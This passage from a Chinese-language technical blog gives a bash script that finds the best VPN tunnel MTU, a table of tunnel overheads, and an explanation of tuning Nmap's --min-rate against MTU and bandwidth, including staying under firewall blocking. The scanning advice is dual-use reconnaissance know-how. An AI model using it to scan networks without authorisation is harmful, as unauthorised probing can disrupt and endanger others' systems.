&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;105&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;size &lt;span class="o"&gt;+&lt;/span&gt; TEST_STEP&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;106&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;107&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;108&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;109&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 执行测试&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;110&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;开始对&lt;/span&gt;&lt;span class="nv"&gt;$TARGET进行MTU测试&lt;/span&gt;&lt;span class="s2"&gt;...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;111&lt;/span&gt;&lt;span class="cl"&gt;test_mtu_range
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;112&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;113&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 计算结果&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;114&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$SUCCESS_SIZE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; -gt &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;115&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;OPTIMAL_MTU&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;SUCCESS_SIZE &lt;span class="o"&gt;+&lt;/span&gt; TUNNEL_OVERHEAD&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;116&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;------------------------------------------------------&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;117&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;测试成功! 最大无分片包大小: &lt;/span&gt;&lt;span class="nv"&gt;$SUCCESS_SIZE字节&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;118&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;隧道包头开销: &lt;/span&gt;&lt;span class="nv"&gt;$TUNNEL_OVERHEAD字节&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;119&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;推荐MTU值: &lt;/span&gt;&lt;span class="nv"&gt;$OPTIMAL_MTU&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;120&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;计算: 包大小(&lt;/span&gt;&lt;span class="nv"&gt;$SUCCESS_SIZE&lt;/span&gt;&lt;span class="s2"&gt;) + 开销(&lt;/span&gt;&lt;span class="nv"&gt;$TUNNEL_OVERHEAD&lt;/span&gt;&lt;span class="s2"&gt;)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;121&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;122&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 设置最佳MTU&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;123&lt;/span&gt;&lt;span class="cl"&gt; sudo ip link &lt;span class="nb"&gt;set&lt;/span&gt; dev tun0 mtu &lt;span class="nv"&gt;$OPTIMAL_MTU&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;124&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;已将tun0 MTU设置为&lt;/span&gt;&lt;span class="nv"&gt;$OPTIMAL_MTU&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;125&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;126&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;------------------------------------------------------&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;127&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;测试失败! 未找到有效MTU值&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;128&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;可能原因:&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;129&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;1. 目标&lt;/span&gt;&lt;span class="nv"&gt;$TARGET不可达&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;130&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;2. 测试范围不适用(尝试调整参数)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;131&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;3. 网络环境特殊(防火墙阻止ICMP测试)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;132&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;133&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 还原初始设置&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;134&lt;/span&gt;&lt;span class="cl"&gt; sudo ip link &lt;span class="nb"&gt;set&lt;/span&gt; dev tun0 mtu &lt;span class="m"&gt;1500&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;135&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;已还原tun0 MTU为1500&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;136&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;保存后给脚本添加课执行权限，然后通过以下命令测试最佳MTU值。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 指定目标+完整范围测试&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;./mtu-test.sh -t 192.168.116.72 -f
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 自定义测试范围&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;./mtu-test.sh -s &lt;span class="m"&gt;1450&lt;/span&gt; -e &lt;span class="m"&gt;1100&lt;/span&gt; -p -2
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 设置隧道开销（适用于不同VPN协议）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;./mtu-test.sh -o &lt;span class="m"&gt;50&lt;/span&gt; &lt;span class="c1"&gt;# OpenVPN等大包头协议&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 更大步长覆盖宽范围 针对卫星链路优化&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;./mtu-test.sh -t 192.168.1.100 -s &lt;span class="m"&gt;1500&lt;/span&gt; -e &lt;span class="m"&gt;400&lt;/span&gt; -p -20 -o &lt;span class="m"&gt;60&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 精细步长测试可疑区间&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;./mtu-test.sh -t 10.8.0.1 -s &lt;span class="m"&gt;1420&lt;/span&gt; -e &lt;span class="m"&gt;1390&lt;/span&gt; -p -1 -o &lt;span class="m"&gt;50&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;隧道开销参考值&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;VPN协议&lt;/th&gt;
 &lt;th style="text-align: center"&gt;推荐开销值&lt;/th&gt;
 &lt;th style="text-align: center"&gt;包含内容&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;WireGuard&lt;/td&gt;
 &lt;td style="text-align: center"&gt;40-60&lt;/td&gt;
 &lt;td style="text-align: center"&gt;基本头+加密信息&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;OpenVPN&lt;/td&gt;
 &lt;td style="text-align: center"&gt;60-100&lt;/td&gt;
 &lt;td style="text-align: center"&gt;IP头+UDP头+OpenVPN封装头&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;IPsec&lt;/td&gt;
 &lt;td style="text-align: center"&gt;50-80&lt;/td&gt;
 &lt;td style="text-align: center"&gt;ESP头+认证数据+填充&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;L2TP&lt;/td&gt;
 &lt;td style="text-align: center"&gt;80-120&lt;/td&gt;
 &lt;td style="text-align: center"&gt;IP头+UDP头+L2TP头+PPP头&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;动态计算原理&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;最终MTU = 最大无分片包大小(ICMP数据+28字节) + 隧道包头开销
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250714130137559" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714130137559.png"&gt;&lt;/p&gt;
&lt;p&gt;Flower机场测试&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250714125153653" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714125153653.png"&gt;&lt;/p&gt;
&lt;p&gt;龙猫机场测试&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250714125614521" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714125614521.png"&gt;&lt;/p&gt;
&lt;p&gt;自建专线测试&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250714130040762" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714130040762.png"&gt;&lt;/p&gt;
&lt;p&gt;可以看到，不同机场能承载的MTU是有差距的，机场之间不同节点也是有差距的。&lt;/p&gt;
&lt;h3 id="nmap-最佳参数确定"&gt;Nmap 最佳参数确定
&lt;/h3&gt;&lt;p&gt;理解 MTU、带宽和 Nmap 的 &lt;code&gt;--min-rate&lt;/code&gt; 参数之间的关系，关键在于它们如何共同影响&lt;strong&gt;网络数据包传输的速率和效率&lt;/strong&gt;，尤其是在进行网络扫描时。它们之间没有直接的数学公式，但相互影响显著：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;MTU (Maximum Transmission Unit - 最大传输单元):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;定义：&lt;/strong&gt; 指网络链路层能够传输的最大数据帧（或数据包）的大小（以字节为单位）。常见值如以太网的 1500 字节（不含帧头）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;作用：&lt;/strong&gt; 决定了单个数据包能承载的最大有效载荷（Payload）。如果应用层数据超过 MTU，它会被分片（Fragmentation）成多个数据包传输。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;与扫描的关系：&lt;/strong&gt; Nmap 发送的探测包大小取决于扫描类型（如 SYN 扫描包很小，UDP 扫描包可能接近 MTU）和选项（如 &lt;code&gt;--data-length&lt;/code&gt;）。包的大小直接影响每个包在网络中传输所需的时间和资源。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;带宽 (Bandwidth):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;定义：&lt;/strong&gt; 指网络链路在单位时间内能够传输的最大数据量（以比特/秒为单位，如 Mbps, Gbps）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;作用：&lt;/strong&gt; 这是网络的&lt;strong&gt;物理容量限制&lt;/strong&gt;。它设定了数据流经特定路径的&lt;strong&gt;最大速率上限&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;与扫描的关系：&lt;/strong&gt; Nmap 扫描产生的总数据流量（所有发送和接收包的大小之和）除以扫描时间不能超过可用带宽（还需要考虑链路上的其他流量）。高带宽链路能承载更快的扫描速率。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Nmap 的 &lt;code&gt;--min-rate &amp;lt;packets per second&amp;gt;&lt;/code&gt; 参数:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;定义：&lt;/strong&gt; 强制 Nmap 尝试以&lt;strong&gt;至少&lt;/strong&gt;指定的速率（每秒发送的包数）发送探测包。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;作用：&lt;/strong&gt; 主要用于&lt;strong&gt;加速扫描&lt;/strong&gt;。它告诉 Nmap 不要低于这个发送速率，即使目标响应缓慢或丢包率高。它直接控制的是&lt;strong&gt;发包的速率（包/秒）&lt;/strong&gt;，而不是数据速率（比特/秒）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;与扫描的关系：&lt;/strong&gt; 这是用户主动设置的一个&lt;strong&gt;目标速率下限&lt;/strong&gt;，用于追求速度。但它受到 MTU 和带宽的物理限制。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;三者如何相互作用：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;带宽是总容量的天花板：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;无论 &lt;code&gt;--min-rate&lt;/code&gt; 设置得多高，Nmap 实际能达到的&lt;strong&gt;数据速率（比特/秒）&lt;/strong&gt; 绝对不可能超过链路的可用带宽。&lt;/li&gt;
&lt;li&gt;公式表示： &lt;code&gt;(平均包大小 in bits) * (实际发包速率 in pps) &amp;lt;= 可用带宽 (in bps)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;关键点：&lt;/strong&gt; &lt;code&gt;--min-rate&lt;/code&gt; 控制的是&lt;strong&gt;包/秒 (pps)&lt;/strong&gt;，但带宽限制的是&lt;strong&gt;比特/秒 (bps)&lt;/strong&gt;。包的大小（受 MTU 影响）是连接两者的桥梁。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;MTU 影响包大小，进而影响数据速率：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;如果 Nmap 发送的探测包很大（接近 MTU），那么即使以&lt;strong&gt;中等&lt;/strong&gt;的 &lt;code&gt;--min-rate&lt;/code&gt; (pps) 发送，产生的&lt;strong&gt;数据速率 (bps)&lt;/strong&gt; 也会很高，更容易接近或达到带宽上限。&lt;/li&gt;
&lt;li&gt;如果 Nmap 发送的探测包很小（如 SYN 扫描包只有 60-70 字节），那么即使设置非常高的 &lt;code&gt;--min-rate&lt;/code&gt; (pps)，产生的数据速率 (bps) 也可能远低于带宽上限。在这种情况下，瓶颈往往不在带宽，而在操作系统、网卡处理能力或目标响应能力上。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;--min-rate&lt;/code&gt; 的追求与物理限制的冲突：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;追求高 pps：&lt;/strong&gt; 用户设置高 &lt;code&gt;--min-rate&lt;/code&gt; 是为了快速完成扫描（发送更多包/秒）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;带宽限制：&lt;/strong&gt; 如果包足够大，高 pps 会迅速消耗带宽。一旦达到带宽上限，Nmap 就无法再提高 pps（除非包变小，但包大小通常由扫描类型决定）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MTU 的间接影响：&lt;/strong&gt; 大包（接近 MTU）使得在较低 pps 下就达到带宽上限的可能性更高，限制了 &lt;code&gt;--min-rate&lt;/code&gt; 进一步提升 pps 的空间。小包则允许更高的 pps 而不触及带宽上限。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;其他限制：&lt;/strong&gt; 即使带宽允许，过高的 &lt;code&gt;--min-rate&lt;/code&gt; 还可能超过操作系统或网卡的发送能力上限（PPS 上限），或者被网络设备（防火墙、路由器）的速率限制策略拦截，或者压垮目标主机导致其无法响应或产生大量丢包。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;总结关系：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;带宽是绝对上限：&lt;/strong&gt; 它限制了所有流量（包括扫描流量）的最大数据速率 (bps)。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MTU 影响效率：&lt;/strong&gt; 它决定了单个包的最大尺寸。包的大小（由扫描类型和 MTU 共同决定）是连接发包速率 (pps - 由 &lt;code&gt;--min-rate&lt;/code&gt; 控制) 和数据速率 (bps - 受带宽限制) 的关键因子。大包更容易使扫描流量触及带宽上限。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;--min-rate&lt;/code&gt; 是用户目标：&lt;/strong&gt; 它指定了 Nmap 尝试达到的最低发包速率 (pps)。它的实际效果&lt;strong&gt;受到&lt;/strong&gt;带宽（通过包大小换算成数据速率）以及操作系统、网卡、网络设备能力、目标响应能力和延迟（RTT）的&lt;strong&gt;综合限制&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;实际应用中的考虑：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;高速网络（高带宽）：&lt;/strong&gt; 在小包扫描（如 SYN 扫描）中，&lt;code&gt;--min-rate&lt;/code&gt; 可以设置得很高（几千甚至几万 pps），因为小包的高 pps 消耗的实际带宽相对较小，瓶颈通常在端点处理能力或网络延迟（RTT）。对于大包扫描（如大负载 UDP 扫描），高 &lt;code&gt;--min-rate&lt;/code&gt; 更容易达到带宽上限。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;低速网络（低带宽）：&lt;/strong&gt; 即使是中等 &lt;code&gt;--min-rate&lt;/code&gt; 或小包扫描，也容易达到带宽上限。设置过高的 &lt;code&gt;--min-rate&lt;/code&gt; 不仅无效（实际速率上不去），还可能导致严重拥塞和丢包。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;优化扫描：&lt;/strong&gt; 理解网络带宽和典型 MTU 有助于合理设置 &lt;code&gt;--min-rate&lt;/code&gt;。目标应该是找到在可用带宽和处理能力范围内尽可能快（高 pps）但不至于引起过度丢包或被防火墙封禁的速率。通常需要根据网络环境和扫描类型进行测试和调整。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;避免拥塞：&lt;/strong&gt; 在共享网络或生产环境中扫描时，过高的 &lt;code&gt;--min-rate&lt;/code&gt;（尤其在大包情况下）会迅速消耗带宽，影响其他业务。务必谨慎使用并选择非高峰时段。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;简言之：&lt;code&gt;--min-rate&lt;/code&gt; 设定你想要的速度（包/秒），但你能跑多快，取决于你的车（包大小/MTU）和马路有多宽（带宽），还要考虑交通规则和其他车辆（网络设备、拥塞、延迟、端点性能）。&lt;/strong&gt; 带宽是硬性限制，MTU 影响单个“货物单元”的大小，而 &lt;code&gt;--min-rate&lt;/code&gt; 是你踩油门的力度。&lt;/p&gt;
&lt;p&gt;你可以使用简单的乘除法来估算&lt;code&gt;--min-rate&lt;/code&gt;的值，也可以使用以下命令来自动计算。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 安装必要工具&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; ! &lt;span class="nb"&gt;command&lt;/span&gt; -v bc &lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&amp;gt; /dev/null&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;[*] 安装 bc (数学计算器)...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; sudo apt update &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; sudo apt install -y bc
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; ! &lt;span class="nb"&gt;command&lt;/span&gt; -v speedtest-cli &lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&amp;gt; /dev/null&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;[*] 安装 speedtest-cli...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; sudo apt install -y speedtest-cli
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 获取最佳 MTU&lt;/span&gt;
